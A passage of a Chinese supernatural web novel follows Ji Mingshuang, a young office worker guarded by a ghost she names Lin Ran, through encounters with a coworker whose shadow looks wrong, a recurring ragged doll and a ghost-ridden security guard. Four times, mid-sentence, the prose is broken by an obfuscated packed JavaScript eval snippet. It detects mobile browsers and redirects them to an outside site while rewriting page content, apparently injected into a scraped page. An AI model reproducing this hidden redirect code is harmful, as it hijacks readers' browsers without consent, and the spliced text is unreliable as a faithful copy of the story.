“我更小心一点……会有用吗？” 对方稍加思索，“嗯……问得很好，总之你一次也没活下来。” 纪明霜：“……哇塞！” “还有，我也不知道你收到的纸钱是谁给的，也许我之前知道过，但现在也全忘了……我的记忆缺失很多……” “所以你光记得我的各种死法了吧。” “嗯……确实让人印象深刻。” “那靳尤白她……她身上有什么不对劲的地方吗？” “嗯……到目前为止，没什么异常，但不知道为什么，我总感觉她怪怪的，你还是离她远一点吧……问完了吗，问完了的话，回去睡觉吧，距离你的起床时间，还有一个多小时。” 纪明霜想问的问题已经一口气问完了，她需要一点时间来消化今晚听到的内容，她转身摸到虚掩着的门把手时，突然停止了脚步，她回头看着他，轻声地问了最后一个问题，“那……你叫什么？” 他也遥望着她的双眸，月光点缀着他清透湖面一般的双眸，如同夜色中的点点萤光，却依旧难掩他平静神色下隐藏的失落，“……我已经忘了。” 忘了？ 忘了啊…… 纪明霜有些怅然，她想说些什么，却不知道说什么比较好，徘徊于人间的游魂，逐渐失去所有情感与记忆，就会消失在世间，无法回归宇宙，有什么舍不得的，又何必执念呢…… 一缕凉风穿过她的发丝，她这才后知后觉地感到寒冷，大概是房间的窗户漏风吧，但她的心里突然有些异样，如同灰烬中突然飘出的火星，她抬起头，认真地说，“你叫林然。” “……林然？” 他念出这两个字，就像念出小学课文中第一次学到的生僻字词，陌生得如同医院科室排队时偶遇的名字，却让他感到了莫名的熟悉与安心，他应该确实是叫这个名字吧…… 一人一鬼相顾无言，黎明的晨光泛着浅浅的橘色，但现在仍然是冰冷的早晨，真是越来越冷了，纪明霜抱紧了手臂，回到了房间。 关上房门之后，纪明霜坐到了床上，脑海里突然浮现了他刚刚说过的话，嗯…… 一个人在床和墙壁之间被困死的概率不会是零，所以……还是小心一点吧。 纪明霜决定把床往房间中央移一些，但她没想到的是，当时亲手移动过的普通铁架床，她费了九牛二虎之力居然也没有拉动分毫，怎么回事，是这张床被谁偷偷焊死在地板上了吗？ 纪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419820|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明霜有些疑惑地蹲下来查看，这才发现铁架床的四个床脚下，都垫着小小的普通灰色防滑垫，应该是男鬼，哦，不对，他叫林然…… 应该是林然之前用她的身体做家务的时候放的，感觉大概率是从楼下的便利店买的吧，半梦半醒之间，她似乎确实出过门？ 她现在已经完全记不得了，真是感谢他的好心，要不明天给他上柱香？ 纪明霜躺在了床上，很快进入了梦乡，距离起床还有大半个小时，不睡白不睡，她躺在床上，静静地呼吸着，困意渐渐模糊了她的脑海，周身仿佛陷入了温暖的棉絮之中，但她突然睁开眼，坐了起来。 不对！ 昨天晚上…… 昨天晚上！ 是林然给她洗了澡，换了衣服，还给她洗了贴身衣物！ 天哪…… 纪明霜低头看着她身上的睡衣，这身睡衣是她平时穿的那身，不算厚，但也不算薄，虽然是有些幼稚的款式，但也勾勒出她的曲线，应该庆幸吗？至少不是相对通透的材质。 他给她换洗澡的时候，貌似是闭着眼的……但那也差不多被摸了一遍吧…… 为什么现在才想到这件事啊…… 纪明霜用被子盖住头，至少……至少他救了自己的命，下次见到的时候，就当什么都没发生过吧…… …… 闹钟声响，纪明霜按下闹钟，坐了起来，换好衣服，走到客厅，看到林然正坐在餐桌前，见她开门，他说，“不错嘛，今天都没有赖床，不过你的脸怎么这么红，不会是昨天吹风生病了吧？” 纪明霜面无表情地回到房间，把门关上，原地蹲下，果然…… 一看到他的脸，就会想起昨晚的事…… 她去卫生间用冷水洗了洗脸，企图自行降温，但似乎并没有什么效果…… 但是今天她要自己骑电动车去上班，时间会更紧一些，她立马开始洗漱，收拾包包，出门的时候还是有点赶，她今天的气色不太好，只能在电梯里补一点妆了，但当她把靳尤白送她的口红旋出来的时候，却看到了口红上的牙印…… 纪明霜：“……” 她用手指蘸着口红，往嘴唇上涂了一点，却在电梯里看到了林然一闪而过的身影。 纪明霜：……行吧。 纪明霜骑着她的心肝宝贝小电驴到了公司，正准备提前打扫下办公室，却突然得知公司来了新人，她和办公室的阿姨一起去了主管办公室，主管办公室里很热闹，领导和同事们都在，一个女生被所有人围在中间，她穿着米白色针织毛衣，搭配着卡其色长裙，脚下踩着厚底的小皮鞋，手里抱着外套和贝雷帽，显得有些不知所措，在看见差不多年纪的纪明霜时，她才缓缓地舒了一口气。 主管非常高兴，就连他的秃顶都明亮得有些刺眼，“太好了，公司又来了新人，哎，这么说来，这周居然来了两个新同事，陈欣欣和纪明霜，都是年轻的小姑娘啊，今晚下班之后一起去聚餐，大领导请客，去吃那家有名的私房菜，大家都不要客气，尽情地吃吧！” 陈欣欣对着纪明霜笑了笑，她的笑容腼腆而温柔，只是…… 不知道是不是纪明霜的错觉，陈欣欣的影子颜色格外深。 8. 第8章 聚餐 陈欣欣被安排在了隔壁部门，因为两个部门之间的业务有交集，再加上今天有一点紧急的工作，纪明霜、陈欣欣、办公室的阿姨，以及负责带陈欣欣的中年男同事孙才，四个人一起忙了一个下午。纪明霜和陈欣欣的年龄差不多，性格都很不错，有不少共同话题，一直都有话可聊。 陈欣欣就是个可爱的软柿子，说话也软软的，性格也萌萌的，纪明霜还蛮喜欢她的。 不工作的时候摸鱼，工作的时候聊天，真是开心的一天。 紧急工作完成之后，大家都没什么心思工作，特别是纪明霜，因为她平时生活比较拮据，晚上虽然要应付领导和同事，但也能大吃一顿，心情还是很不错的。 对门办公室的大姐敲门走了进来，“小纪，我的打印机又坏了，能不能过来帮忙看下？” 纪明霜迈着轻快的步子走了过去，她把卡在打印机里的纸拿了出来，又仔细地清理了碎纸，重新启动了打印机，打印机恢复了正常，办公室的阿姨也端着茶杯走了过来，拍着纪明霜的肩膀夸奖她，“我们小纪可真是漂亮又能干，说起来，小纪，你有男朋友吗？” 纪明霜现在是单身，而且她不太习惯撒谎，因为撒了一个谎，就要用更多的谎来圆，可是这个时候，她突然听到了林然的声音，“告诉她们，你有男朋友了。” 纪明霜有些懵，但也照着说了，“有啊，我、我有男朋友的。” “哦……”阿姨点了点头，“唉，我这里还有几个不错的男孩子呢，工作稳定，工资不低，个子高高的，还有责任心，都是青年才俊，可惜小纪已经有男朋友了……” “一个萝卜一个坑，谁让我们小纪现在是个有坑的萝卜呢。”大姐拿了两个一次性纸杯，倒了两杯氤氲的热茶，并递了一杯给纪明霜，“对了，小纪，你男朋友是做什么的啊？” 林然没有继续说话了，纪明霜硬着头皮扯了几句谎，就赶紧溜回了办公室，大概是觉得纪明霜脸皮薄，阿姨和大姐都善意地笑了。 回到办公室之后，纪明霜冷哼一声，“真是可惜了呢，都是青年才俊，对吧，林、然。” 林然突然出现，并坐在了纪明霜的对面，“如果你真的去了，一定会后悔的，你知道你同办公室的阿姨是谁吗？” 纪明霜意识到，可能有八卦要听了，她拿出抽屉里的一袋香瓜子，饶有兴致地说，“仔细讲讲。” 看着她好奇的神情，林然有些失笑，“不知道你有没有注意到，那个孙才，平时恨不得用鼻孔看人，说的话能直接编成爹味语录，今天下午来帮忙的时候，却表现得风趣又亲切，虽然他讲的笑话并不好笑……你知道是因为谁吗？” “难道不是因为我和陈欣欣？”纪明霜接话道。 “当然不是，是因为你办公室的阿姨。” “啊？”纪明霜微微瞪眼，她原本以为是中年大叔对年轻女同事有好感，没想到是……办公室的阿姨？ 林然一眼就看出了她的想法，“想什么呢，孙才之所以捧着她，是因为她是你副总的亲妈，她确实没有说谎，那些人都是青年，也比较有专业知识，但是俊……这一点，我就不多做评价了。” 纪明霜点点头，表示理解，林然长得太过好看，硬是把同级比较变成了降维打击，他和其他人站在一起的时候，画风都是不一样的。 “但她实在是太负责了，她让你们副总带着你，男方的领导带着男方，你们四个人拢个饭局，尴尬地提问，再尴尬地回答，你有什么小动作，哪怕是看一眼手机的时间，都有两个副总级别的领导看着。你们让你们对比一下结婚的条件，再约定下次约会的日期，隔一段时间还要问你们的相亲进展如何，如果你们没有看上对方，那就等着下一次相亲饭局吧。” 纪明霜：“这也太可怕了吧……” “所以，你知道该怎么说了吧。” “嗯，我会告诉她，我有正在交往的男朋友，我们海誓山盟，情比金坚，永不分离。” 林然笑了，纪明霜望着他明亮的双眸，回想起初见时他的模样，现在的他不再像是摆在高台之上的易碎的艺术品，显得如此生动而美好，她也不由得跟着笑了。 …… 下班之后，聚餐期间，林然也一直都在，纪明霜吃东西的时候，他安静地坐在房间角落里的备用椅子上，纪明霜进了卫生间，他就在门口等着，卫生间就在包厢的附近，他能听到那些人在讲的低级笑话。 纪明霜洗手的时候，陈欣欣从卫生间的隔间里走了出来，一边跟她打招呼，一边把手放在感应器下面，仔细地洗着手，纪明霜仔细地观察着她的影子，嗯……还是觉得有点怪怪的。 陈欣欣回到包厢之后，纪明霜磨磨蹭蹭地站在卫生间的门口，用纸巾擦着手，她对林然小声地问道，“你有没有看到啊？” 林然没反应过来，“什么？” “就是陈欣欣啊，就在刚才，照镜子的时候，她的脚下好像有什么黑色的东西。” 林然说，“没有，你又没在这里死过，我也不是变态，不会看女厕所。” “哦。”纪明霜想了想，“我总是觉得不放心，对了，你知道些什么吗？” 林然说，“我刚刚听到包厢里的人说，陈欣欣家里很有钱，她家是开公司的，在省会有好几套房产，卡里有大笔存款，所以她非常适合结婚，你骑的小电驴都是二手的，平时的穿着打扮也很土，比起谈恋爱，你更合适被包养。” 纪明霜：“……妈的。” 聚餐结束之后，有同事提出要送纪明霜回家，这里离公寓并不远，是以纪明霜婉拒了他，决定走路回家。 她吃太饱了，正好消消食，林然和她并排走着，纪明霜从包包里拿出耳机，假装在听音乐，这样才让人觉得她不是在跟空气说话，她一边走，一边踢着脚下的小石头，“林然？” 林然：“嗯。” “你为什么一直跟着我呢？” “……我希望你能活下去。” “就这样？”纪明霜看了他一眼，又很快地收回目光，“我保证我会好好生活……如果你一直在人间徘徊，就永远不能轮回转世了。” “我不在乎。”他闷闷地说。 纪明霜试探着说，“要不……我们拓展一下思路，你来到我身边，我就开始倒霉，也许跟你有什么关系……也说不定呢。” “有恶鬼盯上了你，他比我危险得多。”林然说，“还有，并不是因为我出现，你才有危险，而是因为你有危险，我才出现——你有没有良心啊， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419821|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要是没有我，你早就死了。” 的确是这个道理啊，纪明霜有点心虚，她问道，“你的记忆还剩下多少呢……你的父母、亲人、同学、老师，你还记得吗？” 林然沉默了很久，一人一鬼之间隔着停滞的缄默河流，过了一会了，她才听到她说，“……几乎全部忘记了。” “如果你一直徘徊在人间，会怎么样呢？” “我想我大概会消失吧。”林然说，“毕竟我现在除了记忆，就一无所有了。” “对你来说，记忆会代表全部吗？” “不知道，我几乎全都忘光了，但我仍然记得那种感觉。” “什么感觉？” 这次他没有回答，也许这是个很难回答的问题吧。 …… 在家门口，她又看到了那个破破烂烂的小娃娃，已经梅开三度了吧。 只不过，这次的娃娃比上次还要更破一点，纪明霜隔着纸巾拿起娃娃，快步走向了楼道尽头的垃圾桶，这时，她听到他说，“喂，跑慢一点。” 纪明霜放慢了脚步，这时，他才继续说，“上次你从楼梯上摔下去，头部着地，后脑破裂，口鼻出血，腿断了一条，他们用床单和毯子裹着你，把你送上了救护车，但你在救护车上去世了。” 纪明霜把娃娃扔进了垃圾桶，回头时看到房东小陈哥在探头探脑，他大概是发现纪明霜已经发现了他，赶紧把脑袋缩了回去。 “怎么办，需要我把他抓出来吗？”林然问道。 “还是算了吧，他害怕我，我也害怕他啊，我已经交了三个月的房租，要是不能继续住在这里，我的损失就太大了……”纪明霜叹了口气，“至少就目前，像现在这样相安无事就很好……他最好真的是房东，要是他跟这套房子一点关系都没有，我就算是做鬼也不会放、过、他、的。” 回家之后，时间已经很晚了，纪明霜卸妆洗脸，换上睡衣，坐在床上开始玩手机，没过多久就困了，只是她做了个不好的梦。 在梦里，她被困在一个狭小黑暗的房间里，周围都是些满是灰尘的杂物，房间的温度在逐渐上升，周围弥漫着烟尘，难闻的气味越来越浓，而在她怀里的人，尖尖的指甲扣着她的手腕，纪明霜听到有人正在喊她的名字，突然惊醒，才发现闹钟已经响了。 她疲惫地按下闹钟，早知道昨天就不应该喝酒，可是那些无聊的同事，不是让她喝酒，就是让陈欣欣喝酒，她还给陈欣欣挡下了两杯酒，度数似乎并不高，怎么有些头疼呢？ 啊，啊啊，人为什么要上班啊。 出门的时候，纪明霜看到了住同一栋楼的大叔，大叔早早起来溜狗，顺便还买了早餐。大叔养的狗是那种随处可见的土狗，看着才一个多月大，雪白的皮毛，葡萄样的眼珠，略胖的身体和四只小短腿，脖子上的项圈上连着短短的牵引绳，正是活泼爱玩的年纪，它却被邻居大叔紧紧地扯着，一边走，一边尿，夹着尾巴，‘呜呜’地叫着。 “大叔，这只小狗是生病了吗？” 大叔笑了，“没有，没有的事，小动物能看到人类看不到的东西，它只是有点害怕而已，等以后慢慢习惯就好了。 这个解释貌似比较合理，纪明霜点了点头：“哦，是这样啊……” 9. 第9章 口红 今天，纪明霜不是最早来公司的员工了，因为陈欣欣比她来得更早，但陈欣欣没有办公室的钥匙，见纪明霜提着包包从电梯里走出来，她高兴地向纪明霜招手：“小霜！” “欣欣，早啊。”纪明霜一边用钥匙开门，一边招呼道，“赶紧来我办公室坐一会儿。” 在纪明霜烧水泡茶的时候，陈欣欣也帮忙打水擦桌子，乖得像个遵守班规的小学生语文科代表。 这会人还没怎么来，纪明霜从包包里拿出了一盒饼干，两人一边吃一边聊天，纪明霜注意到，陈欣欣今天貌似蛮开心的？ 刚刚擦桌子的时候就一边哼歌一边擦，现在说话的时候，嘴角也是带笑的。 “你今天怎么这么开心，是遇到什么好事了吗？” 陈欣欣笑眯眯地说，“你猜呢？” 纪明霜想了想，“难道是……你彩票中奖了？” “哪有这么好的事嘛。”陈欣欣不好意思地笑了笑，“是我男朋友啦，之前一直联系不上，昨天晚上突然联系上了，我之前一直好担心的。” “联系不上？”纪明霜和陈欣欣一起朝着声音的来源看去，只见周可音站在办公室的门口，“他失联了多久啊？” 陈欣欣即答：“一个月左右……” 纪明霜说，“周可音，你别站在门口了，先进来吧。” “那我就不客气了。”周可音走了进来，依旧是穿着那套豆绿色的小裙子，踩着一双精致的小皮鞋，她向陈欣欣自我介绍道，“你好啊，我是楼下公司的实习生，周可音。” “你……你好，我是陈欣欣。”陈欣欣又问道，“那个，你之前问我男朋友失联的时间，是什么意思啊？” 周可音坐在一边的椅子上，“啊，没什么，就是如果嫖-娼被抓，行政拘留的天数在十五天以内，我提醒你一下。” 纪明霜：“拜托，周可音，什么证据都没有，你就这么说，不太合适吧。” 周可音冷哼一声，站了起来，“拜托，纪明霜，你是第一天认识我吗，我可不是那种很会照顾别人情绪的人，想到什么就直接说喽，况且，你看着似乎不太对劲呢，是遇到什么事了吗？” 陈欣欣连忙打圆场，“没……没关系的，周……周小姐也是为了提醒我，况且我没有生气，我男友也没听到，先……先坐吧。” “纪明霜，你看看人家。”周可音走到两人身边，对陈欣欣笑着说，“对了，你叫我可音就行了，不用叫周小姐啦，太见外了。” “好、好的。”陈欣欣也有点惊奇和羡慕，因为周可音长得确实非常好看。 “好呢，这就算是认识了呢。”周可音说，“对了，纪明霜，你从哪里买的饼干啊，看上去真的好便宜哦~” 纪明霜面无表情：“超市打折促销。” “果然是你的风格，对了，符箓派上用场了吗？” “嗯，确实有用。” 周可音笑了笑，“那就行，那我就先走喽……” 纪明霜想到了陈欣欣身上的古怪，叫住了周可音，“等一下，来都来了，你能不能看下陈欣欣啊……” 周可音回头，温柔一笑：“承惠五百。” 纪明霜：“……” 陈欣欣问道，“看……看什么啊？” 周可音说，“嗯……就是看相啊。” 眼看陈欣欣已经准备扫码付款了，纪明霜赶紧拉住了她，“唉呀，她是开玩笑的，嗯，那个……能不能打个折啊。” 周可音坐了回来，“行啦，我确实是开玩笑的，不过，陈欣欣，你身上确实有点古怪，不过只是小问题，不妨事，看在纪土包子的面子上，我就帮帮你吧。” 纪明霜想说，不要随便给人家起外号啊，但是转念一想能节省五百块，心里就释然了。 无论如何，不要跟钱过不去啊。 “古怪……哪里古怪啊，是我的妆花了吗？”陈欣欣从包包里掏出了小镜子，“咦，口红被我吃掉了……小霜，可以借用一下你的口红吗？” 纪明霜想都没想就从包包里拿出了她的口红，交给了陈欣欣，陈欣欣接过口红，“咦，是赫尔墨斯的口红啊，这个品牌好贵的。” 纪明霜从暗下来的手机屏幕里看到林然正有些无语地看着她，纪明霜这时才意识到，“那个，等、等一下！” 然而，陈欣欣已经旋开了口红，而后，纪明霜，陈欣欣，周可音都看到了口红上明显的牙印，这一口咬得好用力，整支口红都快断了，纪明霜弱弱地说，“那个，我可以解释……” 陈欣欣没有多问，“小霜，没关系的，我就借用一点。” 说着，她从包包里拿出湿巾，擦了擦手指，然后用手指蘸了口红，对着她的小镜子，轻轻涂在嘴唇上，她今天果然很高兴，抿唇的时候也是笑着的。 周可音说，“咦，纪明霜，你可不像是能买得起这种口红的人啊，不会是你那个有钱的朋友送你的吧。” “嗯，是的。”纪明霜点点头，接过陈欣欣递来的已经旋好的口红，扔进包包里。 “那种有钱又有品的大小姐怎么会交你这样的朋友啊……”周可音上上下下地打量着纪明霜，“有点可疑哦。” “哪有啊，你想太多了吧。”纪明霜说起了另一个话题，“说起来，那天你也见过她，她身上有什么奇怪的地方吗？” 周可音说，“看上去怪有钱的，这算吗？” 纪明霜：“嗯……怎么不算呢？” 周可音又笑了笑，“我只见过她一次，不清楚她的情况，要不你说仔细一些……方便透露吗？” 纪明霜大概讲了下那天早上发生的事，没有透露关于林然的信息，周可音想了想，“唔……很难说，不过你可以把她介绍给我，我会付你提成的哦……说起来，你身边有正常人吗？” 纪明霜沉默了，她的房东小陈哥不是人，她的同居室友林然也不是人，好朋友靳尤白有古怪，新同事陈欣欣也有古怪，那么…… 纪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419822|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明霜确信地说，“我身边唯一的正常人……貌似就是你？” “好眼光。”周可音意味深长地笑了笑，“时间不早了，我就先走了，至于陈欣欣身上的小问题，我会帮忙解决，嗯，大概需要一个上午，你下午再观察看看，有事可以来楼下公司找我哦，不过我从来不会在工位上，你是找不到我的，再见。” 说着，周可音就离开了，纪明霜也跟了上去，却在门口差点和办公室的阿姨撞到，办公室的阿姨说，“咦，小纪啊，你这么早就到了，哎？小陈也在，正好主任那边给咱们分配了一点工作……” …… 努力工作的一上午就这样过去了，中午，纪明霜骑着她的心肝宝贝小电驴回家，路上买了一份简单的速食午饭，然而，她打开房门之后，却看到一个灰扑扑的小娃娃出现在她家客厅的地面上，纪明霜站在门口看了一会儿，林然的表情也不怎么好看，他说，“查监控吧，娃娃不可能凭空飞进来。” 纪明霜点点头，大致看了看房间，厨房、客厅、卫生间，这才重新把门锁好，坐电梯去了底层。 要知道，偶尔看到鬼影，偶尔有些幻觉，或者物品有些位移，都是一些小把戏，现在她的房间里居然出现了一个小娃娃，这件事的性质就变了。 要么是‘那东西’很聪明，要么是‘那东西’很强大，或者二者皆有，谁知道呢。 如果是入室偷盗的情况，反而简单得多，但是，谁入室抢劫不去拿钱，反而扔了一个灰灰的小娃娃进来呢？ 难道是看她家徒四壁，小偷也不忍心对她下手，反而打赏了一个娃娃？ 开什么玩笑，纪明霜在超市买了不少东西，吃的用的，都放进厨房了，可是她刚刚查看厨房的时候，这些东西都还在，没有被人翻动过的痕迹。 楼下的保安室里，新来的保安小哥正坐在桌前看手机，见到有人过来，眼皮抬也不抬，“先登记，登记簿在桌子上，我们随后会处理。” 纪明霜敲敲窗户，“我们要查监控，楼道有摄像头。” 保安小哥抽空瞄了她一眼，而后继续用视频软件看比赛，“哦，你说监控啊，不好意思，监控坏了。” 纪明霜问，“什么时候坏的。” “啊……刚坏没多久，你来得不巧了。”保安小哥继续看着手机，“如果丢了东西，便宜的就算了，丢了贵重物品可以去报警。” 纪明霜说，“可是，显示器上明明有监控录像，你看，右上角的那格就是……” 这时，保安小哥看着的比赛的比分追平了，这明显不是他想看到的结果，他一拍大腿，骂了一句脏话，而后把显示器转了个方向，动作间，露出他脖颈上的大片廉价劣质纹身，“行了，这下你看不到了吧。” 纪明霜：“喂，我又不是傻子，你要是不想干，那你就打开门，我自己进去查监控，这下总行了吧！” 保安小哥把手机一摔，站了起来，大声怒骂道，“瘟猪，少跟我说话，我正烦着呢！” 10. 第10章 雁雁 纪明霜有些生气，“你……” “你什么你，这头瘟猪，要不是你瘟我，我哪里会输钱！” 纪明霜不生气了，“活该。” 保安小哥站起来，仔细打量着纪明霜，长相虽然还不错，但身上的穿戴都普普通通，中规中矩，别说是牌子货，就连贴牌货都不是，就跟他妈妈凌晨四点起床排队抢商场的打折拖鞋差不多的水准，“切，我今天手气不好，又被你给瘟到了，要是再让我输钱，我就去杀了你啊！” 这边的动静太大了，现在又是下学下班的高峰期，几个围观的邻居远远地看着，只一个主妇模样的女人走了过来，把纪明霜拉到了一边，看了保安小哥一眼，对纪明霜小声地说，“他是新来的，又是走后门进来的，平时也没什么素质，什么脏话都骂得出口，如果输了钱，他半夜会敲你门，‘咣咣咣’的，太吓人了，你要是想查监控，等那个老保安来了，你再查，他很热心的，肯定愿意帮忙。” “是啊，保安伯伯每天都认真工作，半夜也经常在楼道巡逻呢。”主妇拉着的小女孩认真地说，“姐姐你好，哥哥也好，我是雁雁，大雁的雁。” 闻言，林然多看了那个名叫‘雁雁’的女孩一眼。 主妇听到雁雁提到了‘哥哥’，还以为她说的是保安小哥，她把雁雁拉到身前，摸了摸她的头，“的确是这样，很长一段时间了吧，老保安很少回家，一直在这里工作，想想也蛮不容易的，毕竟这里很阴呢。” 纪明霜叹了口气，拎着东西重新回了家，回家之后，她简单地吃了午饭，又稍微躺了一会儿，下午又去上班。 下午，纪明霜特意没有关办公室的门，每当陈欣欣去卫生间的时候，她就假装去卫生间补妆，在洗手池的镜子前仔细观察陈欣欣的影子，一下午大概有三四次，都没有发现什么异常，纪明霜这才放下了心。 周可音貌似蛮靠谱的呢。 也不知道她是怎么做到的。 办公室的阿姨看在眼里，笑在脸上，又去端着茶杯去对门办公室跟另一个阿姨聊了八卦，于是，纪明霜在工作的间隙抬头，看到两个阿姨笑着站在她的面前，“小纪啊，你晚上是要去约会吗？” 纪明霜点点头，“嗯……是的。” “我一早就看出来了，你也是，小陈也是，哎哟，年轻人嘛……” 纪明霜硬着头皮点点头，“嗯……” “讲一讲呗，你们是怎么认识的啊？” 纪明霜：“……” 完蛋了，怎么编，这个她编不来啊。 林然看了她一会，才提醒道，“陈欣欣。” 纪明霜：对哦。 像陈欣欣这样有点学生思维的乖乖女，特别讨办公室阿姨们的喜欢，纪明霜连忙找了个借口，把陈欣欣喊了过来，果然，陈欣欣和阿姨们相谈甚欢，其实主要是阿姨们问，陈欣欣答，然后阿姨们使劲夸陈欣欣，就连主管也走了进来，笑呵呵地看着，纪明霜趁机溜走了。 谢谢你，林然。 对不起了，陈欣欣。 不过…… 纪明霜又回头看了一眼陈欣欣已经变得正常的影子，嗯，就当一点小小的答谢吧，毕竟，死道友不死贫道嘛。 她可真的应付不来这样的场景。 晚上下班之后，纪明霜先去了保安室，保安大叔躺在保安室的躺椅上，身上的汗珠浸湿了半旧的灰色衬衣，他一手拿着一本旧书，另一手拿着一把破蒲扇，有事没事都轻摇几下，而保安小哥也在那里，他坐在桌前，翘着一条腿，专心地看着手机屏幕，他眼尖，先看到了纪明霜，“是你啊，瘟猪。” 保安大叔站起来，把蒲扇别到腰后面，给纪明霜把门打开，这才回头斥责道，“住嘴吧你，积点口德！” 保安小哥冷哼一声，直接推门走了出去，见他离开，保安大叔转而问纪明霜，“小姑娘，你有事吗？” “你好，我想查监控。” “哦，行，查哪天的监控，是丢了什么东西吗？” 纪明霜说，“就今天上午的监控，没丢东西，反而多了东西。” “多了东西？”保安大叔抬头，又问道，“多了什么东西啊？” 纪明霜说，“多了一个小娃娃……” 保安大叔愣了一下，而后说出一个门牌号，“你是住在这间公寓吗？” 纪明霜点点头，“嗯。” 保安大叔沉吟了一声，“那……小姑娘，你有什么梦游的习惯吗，或者会说梦话吗？” 纪明霜：“这些……跟我说的事有什么关系吗？” 保安大叔点了点头，“啊，我就是想问一下，不然可能会吓到你，总之，今天上午，你在公寓里吗？” 纪明霜摇了摇头，“不在，我去上班了。” 保安大叔说：“那么……也就是说，你的公寓里没有人？” 纪明霜说，“没有，我是一个人住的。” “还有谁有你的公寓钥匙吗？” 纪明霜：“没有吧，我听说物业这边受房主的委托，是有备份钥匙的……” 保安大叔沉吟了一会儿，“唉，小姑娘家家的，我也不想吓你，我说的事，你听了不要害怕……那个小娃娃是我放进去的，我今天上午巡逻的时候，在你家附近捡到了那个娃娃，我以为是你掉的，就放在了你家门口，但那时，我听到了一个女人的声音，她说，‘放进来吧，放进来吧’，按照规定，我们不能随便打开业主的门，但是你也知道，这栋楼有点邪，我从电梯里这边，走到楼道尽头的楼梯那边，一直都能听到这个声音，声音不大，却很清晰，猫叫似的，所以，我就打开房间，把那个小娃娃丢了进去……不过你放心，我只站在门口把娃娃丢了进去，压根没进你的公寓一步。” 纪明霜说，“这样啊……那就没事了，不过，我还是得查下监控。” “行，你自己来看吧。”说着，保安大叔就把座位让了出来，坐在了另一边的椅子上。 纪明霜专心查看着监控，而林然则是一边看监控，一边盯着保安大叔，监控画面里，保安大叔确实是在巡逻，他也确实在纪明霜的公寓门口停顿了一下，他应该是看到了娃娃，于是用脚把娃娃踢到一边。 这时，他似乎听到了什么声音，在楼道里东张西望地走了两圈，这才返回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419823|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纪明霜公寓的门口，掏出钥匙慌里慌张地把门打开，把娃娃丢了进去，又火速把门关上，这才逃也似的走了。 事情到这里已经很清晰了，但纪明霜又把监控倒了回去，如果她没看错的话…… 保安大叔的身上，坐着一个女人的身影，不过，怎么可能是女人呢…… 分明是一只女鬼啊。 纪明霜再次把监控倒了回去，这个女鬼的身影更加清晰可见，这时，女鬼抬头，盯着纪明霜，露出一个惨然的阴森笑容。 纪明霜面无表情地把视频关掉了。 保安大叔笑呵呵地摇着那把破蒲扇，“行了，事情就是这样……” 纪明霜说，“行了，我知道了，大叔，以后不要再开我家的门了。” 大叔摆了摆手，笑着说，“行，我知道了，没问题。” 纪明霜头也不回地离开了。 公寓附近有一所小学，距离不远不近，纪明霜没有骑小电驴，而是步行过去，天色已经暗了下来，纪明霜安静地走着，林然走在她的身边，一人一鬼都没有说话。 纪明霜在小学门口，看着学生们排队买着烤冷面、火鸡面、炸串、水煮串，纪明霜也跟着买了一份理论上是臭豆腐但实际上只是油炸普通豆腐的臭豆腐，她不想和小学生一样站在街边吃，小学生是在等家长，纪明霜不知道她在等什么。 林然和她一起望着接送自家小孩放学的家长们，或喜悦，或恼怒，或悠闲，或疲惫，总归是有些烟火气的，纪明霜感觉她和这里格格不入，她好像更喜欢待在阴间一点的地方，比如闹鬼的公司，比如闹鬼的公寓，再比如没什么人的阴冷的小巷，于是纪明霜拐了几个弯，走进了小巷里，一边走，一边安静地吃着油炸豆腐。 林然叹了口气，“不是街边的小吃，就是速食泡面和盒饭，你天天都这么吃……” 纪明霜咽下嘴里的食物，闷闷地说，“林然，我一会儿去给你上三柱香，让你也吃一点人间的食物，然后咱们一起去把房东打一顿吧。” 谁家保安能随便打开业主家的房门，而且她还是一个独居女性，保安大叔做了这样的事，她却只能警告一句，这事就算过去了……没办法，因为纪明霜现在根本算不上是正经业主，因为她的房东根本不是人。 